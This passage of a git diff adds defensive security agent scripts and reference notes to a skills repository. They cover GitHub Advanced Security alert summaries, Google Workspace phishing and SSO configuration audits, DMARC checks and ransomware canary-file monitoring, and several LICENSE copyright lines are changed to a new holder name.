rule.get("security_severity_level", rule.get("severity", "unknown")) + by_severity[severity] += 1 + by_rule[rule.get("id", "unknown")] += 1 + tool = alert.get("tool", {}).get("name", "unknown") + by_tool[tool] += 1 + if severity in ("critical", "high"): + critical_alerts.append({ + "number": alert.get("number"), + "rule": rule.get("id", ""), + "description": rule.get("description", "")[:120], + "severity": severity, + "state": alert.get("state", ""), + "created_at": alert.get("created_at", ""), + "html_url": alert.get("html_url", ""), + }) + return { + "total_alerts": len(alerts), + "by_severity": dict(by_severity), + "by_rule": dict(by_rule.most_common(10)), + "by_tool": dict(by_tool), + "critical_and_high": critical_alerts[:20], + } + + +def analyze_secret_alerts(alerts): + """Analyze secret scanning alerts.""" + if not isinstance(alerts, list): + return {"error": "No alerts data"} + by_type = Counter() + for alert in alerts: + by_type[alert.get("secret_type_display_name", alert.get("secret_type", "unknown"))] += 1 + return { + "total_secrets": len(alerts), + "by_type": dict(by_type), + "alerts": [ + {"number": a.get("number"), "type": a.get("secret_type_display_name", ""), + "state": a.get("state", ""), "created_at": a.get("created_at", "")} + for a in alerts[:20] + ], + } + + +def analyze_dependabot_alerts(alerts): + """Analyze Dependabot vulnerability alerts.""" + if not isinstance(alerts, list): + return {"error": "No alerts data"} + by_severity = Counter() + by_ecosystem = Counter() + for alert in alerts: + vuln = alert.get("security_vulnerability", alert.get("security_advisory", {})) + severity = vuln.get("severity", alert.get("severity", "unknown")) + by_severity[severity] += 1 + dep = alert.get("dependency", {}) + pkg = dep.get("package", {}) + by_ecosystem[pkg.get("ecosystem", "unknown")] += 1 + return { + "total_alerts": len(alerts), + "by_severity": dict(by_severity), + "by_ecosystem": dict(by_ecosystem), + } + + +def generate_codeql_workflow(languages, query_suite="security-extended"): + """Generate a CodeQL analysis GitHub Actions workflow.""" + lang_list = ", ".join(f"'{l}'" for l in languages) + return f"""name: CodeQL Analysis +on: + push: + branches: [main, develop] + pull_request: + branches: [main] + schedule: + - cron: '30 2 * * 1' +jobs: + analyze: + name: Analyze (${{{{ matrix.language }}}}) + runs-on: ubuntu-latest + permissions: + security-events: write + contents: read + actions: read + strategy: + fail-fast: false + matrix: + language: [{lang_list}] + steps: + - uses: actions/checkout@v4 + - uses: github/codeql-action/init@v3 + with: + languages: ${{{{ matrix.language }}}} + queries: +{query_suite} + - uses: github/codeql-action/autobuild@v3 + - uses: github/codeql-action/analyze@v3 + with: + category: "/language:${{{{ matrix.language }}}}" +""" + + +def full_security_audit(owner, repo): + """Run full GHAS security audit for a repository.""" + code_alerts = get_code_scanning_alerts(owner, repo) + secret_alerts = get_secret_scanning_alerts(owner, repo) + dependabot_alerts = get_dependabot_alerts(owner, repo) + return { + "code_scanning": analyze_code_scanning_alerts(code_alerts), + "secret_scanning": analyze_secret_alerts(secret_alerts), + "dependabot": analyze_dependabot_alerts(dependabot_alerts), + } + + +def main(): + parser = argparse.ArgumentParser(description="GitHub Advanced Security Agent") + parser.add_argument("--owner", help="Repository owner") + parser.add_argument("--repo", help="Repository name") + parser.add_argument("--action", choices=["audit", "code-alerts", "secrets", + "dependabot", "gen-workflow"], + default="audit") + parser.add_argument("--languages", nargs="+", default=["python", "javascript-typescript"]) + parser.add_argument("--output", default="ghas_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action == "audit" and args.owner and args.repo: + results = full_security_audit(args.owner, args.repo) + report["results"] = results + cs = results["code_scanning"] + print(f"[+] Code scanning: {cs.get('total_alerts', 0)} alerts") + print(f"[+] Secrets: {results['secret_scanning'].get('total_secrets', 0)}") + print(f"[+] Dependabot: {results['dependabot'].get('total_alerts', 0)}") + + elif args.action == "code-alerts" and args.owner and args.repo: + alerts = get_code_scanning_alerts(args.owner, args.repo) + analysis = analyze_code_scanning_alerts(alerts) + report["results"]["code_scanning"] = analysis + print(f"[+] {analysis.get('total_alerts', 0)} code scanning alerts") + + elif args.action == "secrets" and args.owner and args.repo: + alerts = get_secret_scanning_alerts(args.owner, args.repo) + analysis = analyze_secret_alerts(alerts) + report["results"]["secret_scanning"] = analysis + print(f"[+] {analysis.get('total_secrets', 0)} secret alerts") + + elif args.action == "gen-workflow": + workflow = generate_codeql_workflow(args.languages) + report["results"]["workflow"] = workflow + print("[+] CodeQL workflow generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-google-workspace-admin-security/LICENSE b/skills/implementing-google-workspace-admin-security/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-google-workspace-admin-security/LICENSE +++ b/skills/implementing-google-workspace-admin-security/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-google-workspace-phishing-protection/LICENSE b/skills/implementing-google-workspace-phishing-protection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-google-workspace-phishing-protection/LICENSE +++ b/skills/implementing-google-workspace-phishing-protection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-google-workspace-phishing-protection/references/api-reference.md b/skills/implementing-google-workspace-phishing-protection/references/api-reference.md new file mode 100644 index 00000000..6ed6c03e --- /dev/null +++ b/skills/implementing-google-workspace-phishing-protection/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Implementing Google Workspace Phishing Protection + +## Admin Console Path + +``` +Admin Console > Apps > Google Workspace > Gmail > Safety +``` + +## Gmail Safety Controls + +| Control | Category | Severity if Missing | +|---------|----------|-------------------| +| Protect against similar domain spoofing | Spoofing | HIGH | +| Protect against employee name spoofing | Spoofing | HIGH | +| Protect against inbound domain spoofing | Spoofing | CRITICAL | +| Enhanced pre-delivery scanning | Scanning | HIGH | +| Attachment protection (encrypted/scripts) | Attachments | HIGH | +| Identify links behind shortened URLs | Links | MEDIUM | +| Show warning for unauthenticated email | Warnings | MEDIUM | +| Enhanced Safe Browsing | Browsing | HIGH | + +## Admin SDK Directory API (GAM) + +```bash +# List Gmail settings +gam print gmailsettings domain example.com +# List users with Advanced Protection +gam print users query "isAdvancedProtectionProgram=true" +``` + +## Google Workspace Alert Center API + +```python +from google.oauth2 import service_account +from googleapiclient.discovery import build +creds = service_account.Credentials.from_service_account_file("sa.json", + scopes=["https://www.googleapis.com/auth/apps.alerts"]) +service = build("alertcenter", "v1beta1", credentials=creds) +alerts = service.alerts().list().execute() +``` + +## Recommended Actions for Spoofing + +| Detection | Action | +|-----------|--------| +| Similar domain spoofing | Quarantine | +| Employee name spoofing | Show warning + move to spam | +| Inbound domain spoofing | Quarantine | +| Unauthenticated email | Show warning banner | + +### References + +- Google Workspace Admin Help - Phishing: https://support.google.com/a/answer/9157861 +- Advanced Protection Program: https://landing.google.com/advancedprotection/ +- Gmail Safety Settings: https://support.google.com/a/answer/7380368 diff --git a/skills/implementing-google-workspace-phishing-protection/scripts/agent.py b/skills/implementing-google-workspace-phishing-protection/scripts/agent.py new file mode 100644 index 00000000..122d14c8 --- /dev/null +++ b/skills/implementing-google-workspace-phishing-protection/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Agent for auditing Google Workspace phishing and malware protection settings.""" + +import json +import argparse +import subprocess +from datetime import datetime +from collections import Counter + + +def gam_command(args_list): + """Run a GAM (Google Apps Manager) command.""" + cmd = ["gam"] + args_list + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return result.stdout.strip(), result.stderr.strip(), result.returncode + + +def get_gmail_safety_settings(domain): + """Retrieve Gmail safety settings via Admin SDK (simulated via GAM).""" + stdout, stderr, rc = gam_command(["print", "gmailsettings", "domain", domain]) + if rc != 0: + return {"error": stderr} + return {"raw_settings": stdout} + + +def audit_phishing_protection(config_path): + """Audit Google Workspace phishing protection configuration.""" + with open(config_path) as f: + config = json.load(f) + findings = [] + safety = config.get("gmail_safety", config.get("safety_settings", {})) + + checks = { + "spoofing_similar_domains": { + "key": "protect_against_similar_domain_spoofing", + "description": "Protect against domain spoofing (similar names)", + "severity": "HIGH", + }, + "employee_name_spoofing": { + "key": "protect_against_employee_name_spoofing", + "description": "Protect against employee name spoofing", + "severity": "HIGH", + }, + "inbound_domain_spoofing": { + "key": "protect_against_inbound_domain_spoofing", + "description": "Protect against inbound domain spoofing", + "severity": "CRITICAL", + }, + "enhanced_pre_delivery_scanning": { + "key": "enhanced_pre_delivery_scanning", + "description": "Enhanced pre-delivery message scanning", + "severity": "HIGH", + }, + "attachment_protection": { + "key": "attachment_protection_enabled", + "description": "Attachment protection (encrypted/scripts)", + "severity": "HIGH", + }, + "links_and_external_images": { + "key": "identify_links_behind_shortened_urls", + "description": "Identify links behind shortened URLs", + "severity": "MEDIUM", + }, + "unauthenticated_email_warning": { + "key": "show_warning_for_unauthenticated_email", + "description": "Show warning for unauthenticated emails", + "severity": "MEDIUM", + }, + "safe_browsing_enhanced": { + "key": "enhanced_safe_browsing", + "description": "Enhanced Safe Browsing enabled", + "severity": "HIGH", + }, + } + + for check_name, check_info in checks.items(): + enabled = safety.get(check_info["key"], False) + findings.append({ + "control": check_info["description"], + "enabled": enabled, + "status": "COMPLIANT" if enabled else "NON_COMPLIANT", + "severity": "INFO" if enabled else check_info["severity"], + }) + + quarantine = safety.get("quarantine_action", "") + if quarantine not in ("quarantine", "reject"): + findings.append({ + "control": "Quarantine action for detected threats", + "current": quarantine or "not configured", + "status": "NON_COMPLIANT", + "severity": "HIGH", + "recommendation": "Set action to quarantine or reject", + }) + + return findings + + +def audit_dmarc_alignment(dmarc_report_path): + """Analyze DMARC aggregate report for alignment issues.""" + with open(dmarc_report_path) as f: + report = json.load(f) + records = report if isinstance(report, list) else report.get("records", []) + total = len(records) + aligned = sum(1 for r in records if r.get("dkim_aligned") and r.get("spf_aligned")) + failures = [r for r in records if not r.get("dkim_aligned") or not r.get("spf_aligned")] + return { + "total_records": total, + "aligned": aligned, + "alignment_rate": round(aligned / total * 100, 1) if total else 0, + "top_failures": failures[:10], + } + + +def analyze_phishing_incidents(incident_log_path): + """Analyze phishing incident log for patterns.""" + with open(incident_log_path) as f: + incidents = json.load(f) + items = incidents if isinstance(incidents, list) else incidents.get("incidents", []) + by_type = Counter(i.get("type", "unknown") for i in items) + by_action = Counter(i.get("action_taken", "unknown") for i in items) + clicked = sum(1 for i in items if i.get("user_clicked", False)) + reported = sum(1 for i in items if i.get("user_reported", False)) + return { + "total_incidents": len(items), + "by_type": dict(by_type), + "by_action": dict(by_action), + "click_rate": round(clicked / len(items) * 100, 1) if items else 0, + "report_rate": round(reported / len(items) * 100, 1) if items else 0, + } + + +def generate_recommended_settings(): + """Generate recommended Google Workspace phishing protection settings.""" + return { + "gmail_safety": { + "protect_against_similar_domain_spoofing": True, + "protect_against_employee_name_spoofing": True, + "protect_against_inbound_domain_spoofing": True, + "enhanced_pre_delivery_scanning": True, + "attachment_protection_enabled": True, + "identify_links_behind_shortened_urls": True, + "scan_linked_images": True, + "show_warning_for_unauthenticated_email": True, + "enhanced_safe_browsing": True, + "quarantine_action": "quarantine", + "move_to_spam_on_spoofing": True, + }, + "advanced_protection_program": { + "enabled_for_high_privilege_users": True, + "target_groups": ["executives", "finance", "it-admins"], + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="Google Workspace Phishing Protection Agent") + parser.add_argument("--config", help="Workspace safety config JSON to audit") + parser.add_argument("--dmarc-report", help="DMARC aggregate report JSON") + parser.add_argument("--incidents", help="Phishing incident log JSON") + parser.add_argument("--action", choices=["audit", "dmarc", "incidents", + "recommend", "full"], default="full") + parser.add_argument("--output", default="gws_phishing_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("audit", "full") and args.config: + findings = audit_phishing_protection(args.config) + report["results"]["audit"] = findings + non_comp = sum(1 for f in findings if f.get("status") == "NON_COMPLIANT") + print(f"[+] Audit: {len(findings)} controls, {non_comp} non-compliant") + + if args.action in ("dmarc", "full") and args.dmarc_report: + result = audit_dmarc_alignment(args.dmarc_report) + report["results"]["dmarc"] = result + print(f"[+] DMARC alignment: {result['alignment_rate']}%") + + if args.action in ("incidents", "full") and args.incidents: + result = analyze_phishing_incidents(args.incidents) + report["results"]["incidents"] = result + print(f"[+] Incidents: {result['total_incidents']}, click rate: {result['click_rate']}%") + + if args.action in ("recommend", "full"): + settings = generate_recommended_settings() + report["results"]["recommended"] = settings + print("[+] Recommended settings generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-google-workspace-sso-configuration/LICENSE b/skills/implementing-google-workspace-sso-configuration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-google-workspace-sso-configuration/LICENSE +++ b/skills/implementing-google-workspace-sso-configuration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-google-workspace-sso-configuration/references/api-reference.md b/skills/implementing-google-workspace-sso-configuration/references/api-reference.md new file mode 100644 index 00000000..c8b19dc7 --- /dev/null +++ b/skills/implementing-google-workspace-sso-configuration/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Implementing Google Workspace SSO Configuration + +## SAML 2.0 Endpoints + +| Endpoint | URL | +|----------|-----| +| SP ACS URL | `https://accounts.google.com/samlrp/acs?rpid=RPID` | +| SP Entity ID | `google.com/a/DOMAIN` | +| SP Metadata | `https://accounts.google.com/samlrp/metadata?rpid=RPID` | + +## Admin Console Path + +``` +Admin Console > Security > Authentication > SSO with third-party IdP +``` + +## SAML Configuration Fields + +| Field | Description | +|-------|-------------| +| Sign-in page URL | IdP SSO endpoint (HTTPS required) | +| Sign-out page URL | IdP SLO endpoint | +| Change password URL | IdP password change page | +| Verification certificate | IdP X.509 signing cert (PEM, RSA 2048+) | +| Domain-specific issuer | Use domain in SAML issuer | + +## Certificate Validation (Python cryptography) + +```python +from cryptography import x509 +cert = x509.load_pem_x509_certificate(pem_data) +print(cert.not_valid_after_utc) +print(cert.subject.rfc4514_string()) +print(cert.public_key().key_size) +``` + +## Admin SDK Reports API (Login Activity) + +```python +from googleapiclient.discovery import build +service = build("admin", "reports_v1", credentials=creds) +activities = service.activities().list( + userKey="all", applicationName="login", + eventName="login_success").execute() +``` + +## Common IdP Providers + +| IdP | SAML SSO URL Pattern | +|-----|---------------------| +| Okta | `https://DOMAIN.okta.com/app/APP_ID/sso/saml` | +| Azure AD | `https://login.microsoftonline.com/TENANT/saml2` | +| ADFS | `https://ADFS_HOST/adfs/ls/` | +| Ping Identity | `https://sso.connect.pingidentity.com/sso/sp/initsso` | + +### References + +- Google Workspace SSO: https://support.google.com/a/answer/60224 +- SAML 2.0 Admin Guide: https://support.google.com/a/answer/6349809 +- Admin SDK: https://developers.google.com/admin-sdk/reports/v1/guides/manage-audit-login diff --git a/skills/implementing-google-workspace-sso-configuration/scripts/agent.py b/skills/implementing-google-workspace-sso-configuration/scripts/agent.py new file mode 100644 index 00000000..a5c0a91f --- /dev/null +++ b/skills/implementing-google-workspace-sso-configuration/scripts/agent.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python3 +"""Agent for auditing and configuring Google Workspace SAML SSO.""" + +import json +import argparse +import subprocess +import re +from datetime import datetime +from pathlib import Path + +try: + from cryptography import x509 + from cryptography.hazmat.primitives import serialization +except ImportError: + x509 = None + + +def parse_saml_certificate(cert_path): + """Parse and validate an IdP SAML signing certificate.""" + if not x509: + return {"error": "cryptography library not available"} + with open(cert_path, "rb") as f: + pem_data = f.read() + cert = x509.load_pem_x509_certificate(pem_data) + now = datetime.utcnow() + return { + "subject": cert.subject.rfc4514_string(), + "issuer": cert.issuer.rfc4514_string(), + "not_before": str(cert.not_valid_before_utc), + "not_after": str(cert.not_valid_after_utc), + "serial": str(cert.serial_number), + "key_size": cert.public_key().key_size if hasattr(cert.public_key(), "key_size") else None, + "expired": cert.not_valid_after_utc.replace(tzinfo=None) < now, + "days_until_expiry": (cert.not_valid_after_utc.replace(tzinfo=None) - now).days, + "signature_algorithm": cert.signature_algorithm_oid.dotted_string, + } + + +def audit_sso_config(config_path): + """Audit Google Workspace SSO configuration.""" + with open(config_path) as f: + config = json.load(f) + findings = [] + sso = config.get("sso", config) + + if not sso.get("sso_enabled", sso.get("enabled", False)): + findings.append({"issue": "SSO not enabled", "severity": "HIGH"}) + + sign_in_url = sso.get("sign_in_page_url", sso.get("sso_url", "")) + if sign_in_url and not sign_in_url.startswith("https://"): + findings.append({"issue": "SSO sign-in URL not HTTPS", "severity": "CRITICAL"}) + + sign_out_url = sso.get("sign_out_page_url", sso.get("logout_url", "")) + if not sign_out_url: + findings.append({"issue": "Sign-out URL not configured", "severity": "MEDIUM"}) + + cert_path = sso.get("verification_certificate", sso.get("certificate_path", "")) + if cert_path and Path(cert_path).exists(): + cert_info = parse_saml_certificate(cert_path) + if cert_info.get("expired"): + findings.append({"issue": "IdP certificate expired", "severity": "CRITICAL", + "detail": cert_info}) + elif cert_info.get("days_until_expiry", 999) < 30: + findings.append({"issue": f"IdP cert expires in {cert_info['days_until_expiry']} days", + "severity": "HIGH", "detail": cert_info}) + key_size = cert_info.get("key_size", 0) + if key_size and key_size < 2048: + findings.append({"issue": f"Weak IdP cert key size: {key_size}", "severity": "HIGH"}) + elif not cert_path: + findings.append({"issue": "No verification certificate configured", "severity": "CRITICAL"}) + + if not sso.get("use_domain_specific_issuer", True): + findings.append({"issue": "Domain-specific issuer not enabled", "severity": "MEDIUM"}) + + if sso.get("allow_password_auth_when_sso_enabled", True): + findings.append({"issue": "Password auth still allowed alongside SSO", "severity": "MEDIUM", + "recommendation": "Disable direct password login for SSO users"}) + + if not findings: + findings.append({"issue": "No issues found", "severity": "INFO"}) + return findings + + +def generate_saml_config(idp_entity_id, sso_url, slo_url, cert_path, domain): + """Generate Google Workspace SAML SSO configuration.""" + return { + "sso_enabled": True, + "sign_in_page_url": sso_url, + "sign_out_page_url": slo_url, + "change_password_url": f"https://{idp_entity_id}/change-password", + "verification_certificate": cert_path, + "use_domain_specific_issuer": True, + "domain": domain, + "saml_settings": { + "idp_entity_id": idp_entity_id, + "sp_entity_id": f"google.com/a/{domain}", + "acs_url": f"https://accounts.google.com/samlrp/acs?rpid=RPID", + "name_id_format": "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress", + }, + } + + +def audit_sso_login_activity(log_path): + """Audit SSO login activity for anomalies.""" + with open(log_path) as f: + events = json.load(f) + items = events if isinstance(events, list) else events.get("events", []) + total = len(items) + failures = [e for e in items if e.get("status") in ("failed", "error", "FAILED")] + sso_logins = [e for e in items if e.get("auth_method") == "saml_sso"] + password_logins = [e for e in items if e.get("auth_method") == "password"] + return { + "total_logins": total, + "sso_logins": len(sso_logins), + "password_logins": len(password_logins), + "sso_adoption_rate": round(len(sso_logins) / total * 100, 1) if total else 0, + "failures": len(failures), + "failure_rate": round(len(failures) / total * 100, 1) if total else 0, + "recent_failures": failures[:10], + } + + +def main(): + parser = argparse.ArgumentParser(description="Google Workspace SSO Agent") + parser.add_argument("--config", help="SSO config JSON to audit") + parser.add_argument("--cert", help="IdP SAML certificate PEM file") + parser.add_argument("--login-log", help="Login activity log JSON") + parser.add_argument("--action", choices=["audit", "cert", "activity", "generate", "full"], + default="full") + parser.add_argument("--idp-url", help="IdP SSO URL") + parser.add_argument("--domain", help="Google Workspace domain") + parser.add_argument("--output", default="gws_sso_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("audit", "full") and args.config: + findings = audit_sso_config(args.config) + report["results"]["audit"] = findings + issues = sum(1 for f in findings if f["severity"] not in ("INFO",)) + print(f"[+] SSO audit: {issues} issues found") + + if args.action in ("cert", "full") and args.cert: + cert_info = parse_saml_certificate(args.cert) + report["results"]["certificate"] = cert_info + status = "EXPIRED" if cert_info.get("expired") else "VALID" + print(f"[+] Certificate: {status}, expires in {cert_info.get('days_until_expiry')} days") + + if args.action in ("activity", "full") and args.login_log: + activity = audit_sso_login_activity(args.login_log) + report["results"]["activity"] = activity + print(f"[+] SSO adoption: {activity['sso_adoption_rate']}%") + + if args.action == "generate" and args.idp_url and args.domain: + config = generate_saml_config("idp", args.idp_url, "", args.cert or "", args.domain) + report["results"]["generated_config"] = config + print("[+] SAML config generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-hashicorp-vault-dynamic-secrets/LICENSE b/skills/implementing-hashicorp-vault-dynamic-secrets/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-hashicorp-vault-dynamic-secrets/LICENSE +++ b/skills/implementing-hashicorp-vault-dynamic-secrets/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-honeypot-for-ransomware-detection/LICENSE b/skills/implementing-honeypot-for-ransomware-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-honeypot-for-ransomware-detection/LICENSE +++ b/skills/implementing-honeypot-for-ransomware-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md b/skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md new file mode 100644 index 00000000..4faaf37a --- /dev/null +++ b/skills/implementing-honeypot-for-ransomware-detection/references/api-reference.md @@ -0,0 +1,67 @@ +# API Reference: Implementing Honeypot for Ransomware Detection + +## Canary File Strategy + +| Name Pattern | Extension | Purpose | +|-------------|-----------|---------| +| `!Accounting_*` | .docx, .xlsx | Sorted first alphabetically | +| `~$Confidential_*` | .pdf, .csv | Mimics temp/open Office files | +| `!Payroll_*` | .xlsx, .bak | High-value bait | + +## Integrity Monitoring + +```python +import hashlib +from pathlib import Path +content = Path("canary.docx").read_bytes() +sha256 = hashlib.sha256(content).hexdigest() +``` + +## Ransomware Extension Indicators + +| Extension | Ransomware Family | +|-----------|------------------| +| `.encrypted` | Generic | +| `.locked` | LockBit, GandCrab | +| `.crypto` | CryptoLocker variants | +| `.ransom` | Generic | +| `.enc` | Various | + +## Samba Honeypot Share (full_audit VFS) + +```ini +[FinanceArchive] + path = /srv/honeypot + vfs objects = full_audit + full_audit:success = open opendir write rename unlink + full_audit:failure = open + full_audit:facility = LOCAL7 + full_audit:priority = NOTICE +``` + +## Thinkst Canary API + +```bash +# List incidents +curl "https://DOMAIN.canary.tools/api/v1/incidents/all" \ + -d auth_token=TOKEN + +# Acknowledge incident +curl "https://DOMAIN.canary.tools/api/v1/incident/acknowledge" \ + -d auth_token=TOKEN -d incident=INC_ID +``` + +## Detection Thresholds + +| Metric | Threshold | Severity | +|--------|----------|----------| +| Files modified in 60s | > 50 | CRITICAL | +| Canary file deleted | Any | CRITICAL | +| Canary hash changed | Any | CRITICAL | +| Known ransom extensions | Any | CRITICAL | + +### References + +- Thinkst Canary: https://canary.tools/ +- CISA Ransomware Guide: https://www.cisa.gov/stopransomware +- Canarytokens: https://canarytokens.org/ diff --git a/skills/implementing-honeypot-for-ransomware-detection/scripts/agent.py b/skills/implementing-honeypot-for-ransomware-detection/scripts/agent.py new file mode 100644 index 00000000..4f30d17b --- /dev/null +++ b/skills/implementing-honeypot-for-ransomware-detection/scripts/agent.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python3 +"""Agent for deploying and monitoring ransomware honeypot canary files.""" + +import os +import json +import argparse +import hashlib +import time +from datetime import datetime +from pathlib import Path +from collections import Counter + + +CANARY_EXTENSIONS = [".docx", ".xlsx", ".pdf", ".pptx", ".csv", ".txt", + ".jpg", ".png", ".sql", ".bak"] +CANARY_PREFIX_NAMES = [ + "!Accounting_Report_2024", "!Budget_Final", "!Confidential_HR", + "!Employee_SSN_List", "!Financial_Audit", "!Payroll_Records", + "~$Customer_Database", "~$Executive_Compensation", +] + + +def create_canary_files(target_dir, count=10): + """Create canary files in strategic locations for ransomware detection.""" + canaries = [] + target = Path(target_dir) + for i in range(min(count, len(CANARY_PREFIX_NAMES))): + for ext in CANARY_EXTENSIONS[:3]: + name = f"{CANARY_PREFIX_NAMES[i]}{ext}" + path = target / name + content = os.urandom(1024 * (i + 1)) + path.write_bytes(content) + file_hash = hashlib.sha256(content).hexdigest() + canaries.append({ + "path": str(path), + "hash": file_hash, + "size": len(content), + "created": datetime.utcnow().isoformat(), + }) + return canaries + + +def generate_canary_manifest(canaries, manifest_path): + """Save canary file manifest for integrity monitoring.""" + manifest = { + "created_at": datetime.utcnow().isoformat(), + "canary_count": len(canaries), + "canaries": canaries, + } + with open(manifest_path, "w") as f: + json.dump(manifest, f, indent=2) + return manifest_path + + +def check_canary_integrity(manifest_path): + """Check canary files against manifest to detect tampering/encryption.""" + with open(manifest_path) as f: + manifest = json.load(f) + alerts = [] + for canary in manifest.get("canaries", []): + path = Path(canary["path"]) + if not path.exists(): + alerts.append({ + "type": "DELETED", + "path": canary["path"], + "severity": "CRITICAL", + "detail": "Canary file deleted - possible ransomware wiper", + }) + continue + current_hash = hashlib.sha256(path.read_bytes()).hexdigest() + if current_hash != canary["hash"]: + alerts.append({ + "type": "MODIFIED", + "path": canary["path"], + "severity": "CRITICAL", + "original_hash": canary["hash"], + "current_hash": current_hash, + "detail": "Canary file modified - possible ransomware encryption", + }) + current_size = path.stat().st_size + if abs(current_size - canary["size"]) > canary["size"] * 0.1: + alerts.append({ + "type": "SIZE_CHANGE", + "path": canary["path"], + "severity": "HIGH", + "original_size": canary["size"], + "current_size": current_size, + }) + checked = len(manifest.get("canaries", [])) + return { + "checked": checked, + "alerts": alerts, + "alert_count": len(alerts), + "status": "ALERT" if alerts else "CLEAN", + } + + +def detect_ransomware_indicators(watch_dir, window_seconds=60): + """Detect rapid file modifications indicative of ransomware.""" + watch_path = Path(watch_dir) + now = time.time() + recently_modified = [] + extension_changes = Counter() + new_extensions = Counter() + + for fp in watch_path.rglob("*"): + if not fp.is_file(): + continue + try: + mtime = fp.stat().st_mtime + if now - mtime < window_seconds: + recently_modified.append(str(fp)) + ext = fp.suffix.lower() + if ext in (".encrypted", ".locked", ".crypto", ".crypt", + ".enc", ".pay", ".ransom"): + new_extensions[ext] += 1 + except (OSError, PermissionError): + continue + + indicators = [] + if len(recently_modified) > 50: + indicators.append({ + "indicator": "Mass file modification", + "count": len(recently_modified), + "severity": "CRITICAL", + "detail": f"{len(recently_modified)} files modified in {window_seconds}s", + }) + if new_extensions: + indicators.append({ + "indicator": "Ransomware file extensions detected", + "extensions": dict(new_extensions), + "severity": "CRITICAL", + }) + return { + "files_checked_window": window_seconds, + "recently_modified": len(recently_modified), + "indicators": indicators, + "status": "ALERT" if indicators else "CLEAN", + } + + +def generate_honeypot_share_config(share_name="FinanceArchive", share_path="/srv/honeypot"): + """Generate SMB honeypot share configuration.""" + return { + "samba_config": { + "share_name": share_name, + "path": share_path, + "comment": "Financial Archive (Read Only)", + "read_only": False, + "browseable": True, + "guest_ok": False, + "valid_users": "@domain_users", + "vfs_objects": "full_audit", + "full_audit_prefix": f"%u|%I|%S", + "full_audit_success": "open opendir write rename unlink mkdir rmdir", + "full_audit_failure": "open", + "full_audit_facility": "LOCAL7", + "full_audit_priority": "NOTICE", + }, + "monitoring": { + "log_path": "/var/log/samba/audit.log", + "alert_on": ["write", "rename", "unlink"], + "siem_integration": "syslog -> SIEM", + }, + } + + +def analyze_honeypot_logs(log_path): + """Analyze honeypot access logs for suspicious activity.""" + with open(log_path) as f: + events = json.load(f) + items = events if isinstance(events, list) else events.get("events", []) + by_user = Counter(e.get("user", "unknown") for e in items) + by_action = Counter(e.get("action", "unknown") for e in items) + write_events = [e for e in items if e.get("action") in ("write", "rename", "delete")] + return { + "total_events": len(items), + "by_user": dict(by_user.most_common(10)), + "by_action": dict(by_action), + "write_events": len(write_events), + "suspicious": len(write_events) > 5, + "severity": "CRITICAL" if len(write_events) > 20 else + "HIGH" if len(write_events) > 5 else "INFO", + } + + +def main(): + parser = argparse.ArgumentParser(description="Ransomware Honeypot Agent") + parser.add_argument("--deploy", help="Directory to deploy canary files") + parser.add_argument("--manifest", help="Canary manifest JSON for integrity check") + parser.add_argument("--watch", help="Directory to watch for ransomware indicators") + parser.add_argument("--honeypot-log", help="Honeypot access log JSON") + parser.add_argument("--action", choices=["deploy", "check", "detect", "analyze", + "share-config", "full"], default="full") + parser.add_argument("--output", default="ransomware_honeypot_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("deploy", "full") and args.deploy: + canaries = create_canary_files(args.deploy) + manifest = generate_canary_manifest(canaries, args.deploy + "/canary_manifest.json") + report["results"]["deployed"] = {"count": len(canaries), "manifest": manifest} + print(f"[+] Deployed {len(canaries)} canary files") + + if args.action in ("check", "full") and args.manifest: + result = check_canary_integrity(args.manifest) + report["results"]["integrity"] = result + 